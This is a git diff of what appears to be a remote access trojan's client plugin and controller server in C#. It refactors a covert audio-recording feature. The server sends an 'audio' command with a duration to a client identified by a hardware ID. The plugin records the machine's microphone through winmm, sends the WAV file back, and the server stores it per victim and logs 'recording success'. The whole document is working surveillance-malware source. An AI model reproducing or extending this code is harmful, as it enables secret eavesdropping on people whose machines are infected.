diff --git a/Plugin/Audio/Audio/Packet.cs b/Plugin/Audio/Audio/Packet.cs index 824e882..8508236 100644 --- a/Plugin/Audio/Audio/Packet.cs +++ b/Plugin/Audio/Audio/Packet.cs @@ -27,15 +27,7 @@ namespace Plugin { case "audio": { - var AR = new AudioRecorder(); - AR.StartAR(); - Thread.Sleep(100); - DateTime dt1 = DateTime.Now; - while ((DateTime.Now - dt1).TotalMilliseconds < Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString) * 1000) - { - continue; - }; - AR.SaveAR(); + AudioRecorder.Audio(Convert.ToInt32(unpack_msgpack.ForcePathObject("Second").AsString)); break; } } diff --git a/Plugin/Audio/Audio/SoundRecord.cs b/Plugin/Audio/Audio/SoundRecord.cs index eb18801..1fd698d 100644 --- a/Plugin/Audio/Audio/SoundRecord.cs +++ b/Plugin/Audio/Audio/SoundRecord.cs @@ -13,7 +13,44 @@ namespace Plugin [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)] private static extern int Record(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback); - + [DllImport("winmm.dll")] + public static extern int waveInGetNumDevs(); + + + public static void Audio(int second) + { + try + { + if (waveInGetNumDevs() == 0) + { + Packet.Error("Don't have microphone."); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Audio"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Close").AsString = "true"; + Connection.Send(msgpack.Encode2Bytes()); + } + else + { + var AR = new AudioRecorder(); + AR.StartAR(); + Thread.Sleep(100); + DateTime dt1 = DateTime.Now; + while ((DateTime.Now - dt1).TotalMilliseconds < second * 1000) + { + continue; + }; + AR.SaveAR(); + } + } + catch(Exception ex) + { + Packet.Error(ex.Message); + } + + } + + public void StartAR() { Record("open new Type waveaudio Alias recsound", "", 0, 0); @@ -27,6 +64,7 @@ namespace Plugin MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "Audio"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("Close").AsString = "false"; msgpack.ForcePathObject("WavFile").SetAsBytes(File.ReadAllBytes(AudioPath)); Connection.Send(msgpack.Encode2Bytes()); } diff --git a/Server/Forms/FormAudio.cs b/Server/Forms/FormAudio.cs index 7e0c5f2..bd13251 100644 --- a/Server/Forms/FormAudio.cs +++ b/Server/Forms/FormAudio.cs @@ -33,7 +33,7 @@ namespace Server.Forms //Start or stop audio recording private void btnStartStopRecord_Click(object sender, EventArgs e) { - if (textBox1.Text != null&& textBox1.Text != "") + if (textBox1.Text != null) { MsgPack packet = new MsgPack(); packet.ForcePathObject("Pac_ket").AsString = "audio"; @@ -46,15 +46,7 @@ namespace Server.Forms ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); Thread.Sleep(100); btnStartStopRecord.Text = "Wait..."; - btnStartStopRecord.Enabled = false; - DateTime dt1 = DateTime.Now; - int timetosleep = Convert.ToInt32(textBox1.Text) * 1000; - while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep) - { - continue; - }; - btnStartStopRecord.Text = "Start Recording"; - btnStartStopRecord.Enabled = true; + btnStartStopRecord.Enabled = false; } else { diff --git a/Server/Forms/FormAudio.designer.cs b/Server/Forms/FormAudio.designer.cs index f42af2d..e6814cd 100644 --- a/Server/Forms/FormAudio.designer.cs +++ b/Server/Forms/FormAudio.designer.cs @@ -85,7 +85,7 @@ #endregion - private System.Windows.Forms.Button btnStartStopRecord; + public System.Windows.Forms.Button btnStartStopRecord; private System.Windows.Forms.Timer timer1; private System.Windows.Forms.TextBox textBox1; private System.Windows.Forms.Label label1; diff --git a/Server/Handle Packet/HandleAudio.cs b/Server/Handle Packet/HandleAudio.cs index af65a09..22338ac 100644 --- a/Server/Handle Packet/HandleAudio.cs +++ b/Server/Handle Packet/HandleAudio.cs @@ -20,16 +20,30 @@ namespace Server.Handle_Packet { try { - string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio"); - if (!Directory.Exists(fullPath)) - Directory.CreateDirectory(fullPath); - await Task.Run(() => + FormAudio audiorecord = (FormAudio)Application.OpenForms["Audio Recorder:" + unpack_msgpack.ForcePathObject("Hwid").GetAsString()]; + if (unpack_msgpack.ForcePathObject("Close").GetAsString() == "true") { - byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes(); - File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile); - }); - new HandleLogs().Addmsg($"Client {client.Ip} recording success,file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple); - client.Disconnected(); + audiorecord.btnStartStopRecord.Text = "Start Recording"; + audiorecord.btnStartStopRecord.Enabled = true; + client.Disconnected(); + return; + } + else + { + audiorecord.btnStartStopRecord.Text = "Start Recording"; + audiorecord.btnStartStopRecord.Enabled = true; + + string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "SaveAudio"); + if (!Directory.Exists(fullPath)) + Directory.CreateDirectory(fullPath); + await Task.Run(() => + { + byte[] zipFile = unpack_msgpack.ForcePathObject("WavFile").GetAsBytes(); + File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".wav", zipFile); + }); + new HandleLogs().Addmsg($"Client {client.Ip} recording success,file located @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/SaveAudio", Color.Purple); + client.Disconnected(); + } } catch (Exception ex) {